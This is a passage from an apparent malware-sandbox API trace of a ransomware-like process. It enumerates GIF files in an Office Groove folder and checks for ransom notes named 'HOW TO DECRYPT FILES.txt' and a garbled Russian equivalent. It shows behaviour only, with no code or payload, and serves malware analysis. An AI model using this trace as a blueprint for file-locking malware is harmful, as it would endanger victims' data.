lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.845] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.845] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.845] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.845] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_alignright.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif" [0064.846] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x366, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="RTF_BOLD.GIF", cAlternateFileName="")) returned 1 [0064.846] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.846] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="RTF_BOLD.GIF") returned -1 [0064.846] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="RTF_BOLD.GIF") returned -1 [0064.846] lstrcmpiA (lpString1="", lpString2="RTF_BOLD.GIF") returned -1 [0064.846] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_alignright.gif") returned="rtf_alignright.gif" [0064.846] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.846] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.846] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.846] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.846] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="RTF_BOLD.GIF" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF" [0064.846] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x365, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_bullets.gif", cAlternateFileName="RTF_BU~1.GIF")) returned 1 [0064.847] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.847] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_bullets.gif") returned -1 [0064.847] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_bullets.gif") returned -1 [0064.847] lstrcmpiA (lpString1="", lpString2="rtf_bullets.gif") returned -1 [0064.847] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\RTF_BOLD.GIF") returned="RTF_BOLD.GIF" [0064.847] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.847] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.847] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.847] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.847] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_bullets.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif" [0064.847] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_center.gif", cAlternateFileName="RTF_CE~1.GIF")) returned 1 [0064.847] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.847] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_center.gif") returned -1 [0064.847] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_center.gif") returned -1 [0064.847] lstrcmpiA (lpString1="", lpString2="rtf_center.gif") returned -1 [0064.847] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_bullets.gif") returned="rtf_bullets.gif" [0064.847] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.847] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.848] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.848] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.848] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_center.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif" [0064.848] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_choosecolor.gif", cAlternateFileName="RTF_CH~1.GIF")) returned 1 [0064.848] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.848] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_choosecolor.gif") returned -1 [0064.848] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_choosecolor.gif") returned -1 [0064.848] lstrcmpiA (lpString1="", lpString2="rtf_choosecolor.gif") returned -1 [0064.848] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_center.gif") returned="rtf_center.gif" [0064.848] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.848] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.848] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.848] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.848] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_choosecolor.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif" [0064.849] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x37a, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_choosefont.gif", cAlternateFileName="RTF_CH~2.GIF")) returned 1 [0064.849] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.849] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_choosefont.gif") returned -1 [0064.849] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_choosefont.gif") returned -1 [0064.849] lstrcmpiA (lpString1="", lpString2="rtf_choosefont.gif") returned -1 [0064.849] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosecolor.gif") returned="rtf_choosecolor.gif" [0064.849] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.849] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.849] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.849] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.849] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_choosefont.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif" [0064.849] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35f, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_decreaseindent.gif", cAlternateFileName="RTF_DE~1.GIF")) returned 1 [0064.850] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.850] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_decreaseindent.gif") returned -1 [0064.850] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_decreaseindent.gif") returned -1 [0064.850] lstrcmpiA (lpString1="", lpString2="rtf_decreaseindent.gif") returned -1 [0064.851] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_choosefont.gif") returned="rtf_choosefont.gif" [0064.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.851] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.851] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.851] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.851] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_decreaseindent.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif" [0064.851] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xf1, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_hyperlink.gif", cAlternateFileName="RTF_HY~1.GIF")) returned 1 [0064.851] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.851] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_hyperlink.gif") returned -1 [0064.851] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_hyperlink.gif") returned -1 [0064.851] lstrcmpiA (lpString1="", lpString2="rtf_hyperlink.gif") returned -1 [0064.851] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_decreaseindent.gif") returned="rtf_decreaseindent.gif" [0064.851] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.851] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.851] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.851] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.852] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_hyperlink.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif" [0064.852] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x35d, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_increaseindent.gif", cAlternateFileName="RTF_IN~1.GIF")) returned 1 [0064.852] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.852] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_increaseindent.gif") returned -1 [0064.852] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_increaseindent.gif") returned -1 [0064.852] lstrcmpiA (lpString1="", lpString2="rtf_increaseindent.gif") returned -1 [0064.852] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_hyperlink.gif") returned="rtf_hyperlink.gif" [0064.852] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.852] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.852] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.852] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.852] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="rtf_increaseindent.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\rtf_increaseindent.gif" [0064.853] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5078000, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a90e170, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa5078000, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_italic.gif", cAlternateFileName="RTF_IT~1.GIF")) returned 1 [0064.853] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.853] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_italic.gif") returned -1 [0064.853] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_italic.gif") returned -1 [0064.853] lstrcmpiA (lpString1="", lpString2="rtf_italic.gif") returned -1 [0064.853] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft 